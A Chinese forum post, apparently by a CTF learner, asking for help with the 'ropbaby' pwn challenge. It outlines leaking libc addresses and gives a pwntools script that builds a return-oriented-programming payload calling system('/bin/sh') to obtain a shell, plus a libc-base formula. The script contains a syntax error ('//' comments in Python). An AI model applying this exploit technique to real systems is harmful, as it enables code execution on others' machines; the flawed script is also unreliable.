总是提交不了,希望大牛指出
检查安全机制
图片.png2.分析
1)获取libc地址
2)获取libc函数的地址
3)糯糯r0p缓冲堆栈
4)出口
可执行文件给的libc.so.6
地址和ldd ropbaby
查看的不一样,有些不明白,不知道程序执行的时候到底调用的是哪个libc
文件
#!/usr/bin/python
from pwn import*
p = process('./ropbaby')
#p = remote("106.2.25.7","8004")
libc_gadget_pop_ret_addr = 0x21102
libc_bin_sh_addr = 0x18cd17 //libc.2.23.so
#libc_bin_sh_addr = 181519 //libc.so.6
libc_system_addr = 0x45390
p.recvuntil(':')
p.sendline('2')
p.recvuntil('symbol:')
p.sendline('system')
p.recvuntil('Symbol system:')
system_addr = int(p.recvline(),16)
print ("[+]system_addr:" +hex(system_addr))
libc_addr = system_addr - libc_system_addr
bin_sh_addr = libc_bin_sh_addr + libc_addr
print ("[+]/bin/sh:" + hex(bin_sh_addr))
gadget_pop_ret_addr = libc_addr + libc_gadget_pop_ret_addr
print ("[+]gadget_pop_ret_addr:" + hex(gadget_pop_ret_addr))
payload = 'A'*8
payload +=p64(gadget_pop_ret_addr)
payload +=p64(bin_sh_addr)
payload +=p64(system_addr)
p.recvuntil(':')
p.sendline('3')
p.recvuntil('(max 1024):')
p.sendline('32')
p.sendline(payload)
p.interactive()
附加一个泄露system的数学公式
libc_base = __libc_start_main_addr - __libc_start_main_offset
system_addr = libc_base + system_offset
网友评论